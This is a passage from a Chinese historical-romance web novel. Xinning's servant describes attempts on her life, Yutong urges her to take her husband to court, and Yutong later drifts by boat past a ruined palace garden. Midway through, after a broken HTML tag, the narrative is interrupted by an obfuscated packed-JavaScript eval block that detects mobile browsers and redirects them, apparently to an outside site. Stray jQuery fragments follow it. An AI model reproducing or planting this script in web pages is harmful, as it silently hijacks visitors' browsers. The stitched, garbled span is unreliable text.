看到雨桐,馨宁的泪汩汩而出,握住雨桐的手,却抽噎着说不出话。
田嬷嬷眼睛也是红的,她哽咽着告诉雨桐,芡娘诞下一子,世子要升她位分做正室,让馨宁做平妻。
馨宁不答应,说平妻也是妾,折辱她事小,她绝不让孔氏家族因她受辱。
金章就威胁她,若不答应,就给她一纸休书,让她以弃妇身份回孔家。
孔氏家族清白门风,孔太傅又是一方大儒,哪里受得了一个弃妇归家,辱没门楣?
田嬷嬷抹了把泪,说:
“方才芊娘又来骂,说了好些难听话,还说小姐不受待见就该死。姑娘您看,小姐脖子上的勒痕,就是芊娘勒的。”
雨桐气得两手都在颤抖,馨宁擦了脸,歉意道:
“这都是家丑,让姐姐见笑了。”
雨桐问:
“国公府老夫人可知此事?”
馨宁摇头:
“祖母卧病一个多月,人事不省,只怕时日无多了。”
她是馨宁在国公府唯一可以倚仗的人,却也靠不上了。
田嬷嬷哭得数次噎住,喘了会儿气,说:
“我家小姐怎会如此命苦?姑娘不知,他们要害小姐的命,除掉眼中钉,这不是第一次了!”
田嬷嬷告诉雨桐一件往事。
上个月时,馨宁的婆母带一家人去寺院中祈福。
金章一家乘坐前面的马车,馨宁由田嬷嬷陪着,坐后面那辆。
路途中,突然窜出来一个乞丐,冲撞了她们车前的马匹,马受惊狂奔,馨宁的头被车壁磕破,又被巨大的冲撞力甩出车外。
就在千钧一发之际,一匹黑马疾驰而至,马上人一个海底捞月,将即将坠地的馨宁抓起,甩到他马背上护住。
从惊吓中抬眸,馨宁的视线撞见一张面孔:剑眉星眸,丰神俊朗。
那是她梦萦魂牵的人——夜慕寒。
馨宁的心,在那一刻被暖流包裹,她希望时间永远停驻,让她能和夜将军在一起。
罗昭容飞跃过去拉住缰绳,止停了疾驰的马车。
原来他们兄妹要到寺院中去,目击了乞丐冲撞马车的一幕,赶紧上前搭救。
夜慕寒告诉馨宁,那个乞丐行为有异,冲撞时故意划伤了马,地上还留有马血。
只是他急于追过来救馨宁,没顾得上抓乞丐。
他提醒馨宁,有人想要害她性命,让她多加提防。
馨宁与世无争,逆来顺受,想要她性命的人是谁,不用想就知道。
罗昭容见到馨宁面容煞白,瘦弱可怜,关切地询问她是否受伤,让她跟自己同乘一匹马。
一路上二人难免说些闲话,罗昭容透露了苏荷陷害兄长逼娶一事。
原来夜将军并非攀附权贵,是自己误会他了。两次蒙他搭救,馨宁对夜将军更是感恩在心,情根深种。
只可惜女已嫁男已娶,今生注定错过,有缘无分了。
看到馨宁落到这般田地,雨桐心里堵成一团,上不来气。
夜将军跟馨宁,简直是天造地设的一对璧人,却各自都承受着婚姻的痛。
造化真是弄人。
“馨宁,”
她轻轻扶起馨宁,眼睛触到她脖子上的勒痕,拳头不自主地攥紧。
“这世道对女子苛刻,但我们的命运,有一半儿掌握在自己手里。相对于背负的责任,我们的尊严、快乐,也一样重要。”
馨宁欲语泪先:
“雨桐姐姐,我真的羡慕你,敢做好多别人不敢做的事。”
雨桐握着她的手,给她力量:
“馨宁,我能做到的,你也一样能做到。如果你需要帮助,我定会竭尽全力。”
馨宁若有所思,沉默了好久,问:
“姐姐,如果你是我,你现在会怎么做?”
这话,倒把雨桐问住了。
她想了想,很认真地回答:
“我现在应该在大理寺公堂上,状告金章宠妾灭妻,芊娘恶奴欺主,**未遂。”
田嬷嬷眼睛异常闪亮,不停挥动着拳头,异常振奋。可当看向自家小姐时,亮光又倏然消散,摇了摇头。
田嬷嬷看着长大的小姐,诗词歌赋,琴棋书画,样样都不落下风,可这性子,实在是太柔弱了。
馨宁听了雨桐的话,像是被震惊到了,跟泥塑似的呆了半晌。
雨桐说的那些举动,她可是连想都不敢想啊。
回程的路上,雨桐心里沉甸甸的。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191238|180031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她为馨宁的事担忧,何尝不是为自己不定的前途烦心。
这些时日,慕容熙出现在她宅院的次数,明显少了很多。
不用想都知道,他的心,都转移到了那个丢失十几年的妹妹身上。
对这个无血缘关系的妹妹,慕容熙早超越了界限,付出比对亲妹妹还要多的疼爱关怀。
他这样做,除了愧疚亏欠,很难说没别的情感夹杂在里面。
他说要尽快给妹妹相看人家,但明眼人谁看不出,他妹妹洛栖想要的,是玄王妃的位置。
明日十月十五,天魏传统的下元节。
街边食馆在叫卖新鲜的团子,道教徒家门外都竖着天杆,杆上挂着黄旗。
下元节是水官解厄之日,宫观士庶,都要建醮设斋,用蒸熟的团子斋水官,祭祀亡灵。
京城有钱人早早就准备了画舫,在城西泰湖上祭祀,他们认为这样离水官更近,祭拜效果更好。
雨桐自己就有一只画舫。她设下香案,摆上供品,和金盏银缎靠坐在画舫里。
绛红色的云霞铺满西边的天空,山峦半隐在迷蒙雾霭中,山脚下衰草枯杨,寒鸦飞过,黄叶纷纷。
画舫沿河缓缓飘流。
已是黄昏,天上银河璀璨,河中烛火繁盛,与水中倒影连成一片灯的海洋。
画舫晃悠悠地沿河飘了好久,船夫累了,将船靠岸停着,拿头巾往脸上擦了把汗,蹲在船头,点了袋烟,吧嗒吧嗒抽着。
雨桐往岸边看,那里黑魆魆的有些残垣断壁,还有好大一片杂生的花木树林,飘过来一阵阵丁香花的幽香。
她莫名有种熟悉感,就问船夫道:
“这岸边像是荒芜的宅院,艄公可知这是哪里?”
船夫大爷放下烟袋,伸脖子张望一下,说:
“这里啊,是镇北王府的后花园,原本是有围墙的,后来塌了,花园就跟这泰湖岸边连成一片了。”
“下去看看吧。”
在画舫坐得腰腿酸困,雨桐带着金盏银缎上了岸。
“姑娘只在边儿上玩玩就可,千万不要往院里去哦!”
艄公叮嘱她们,
“这府邸荒废十几年了,经常闹鬼,当心遇见不干净的东西。”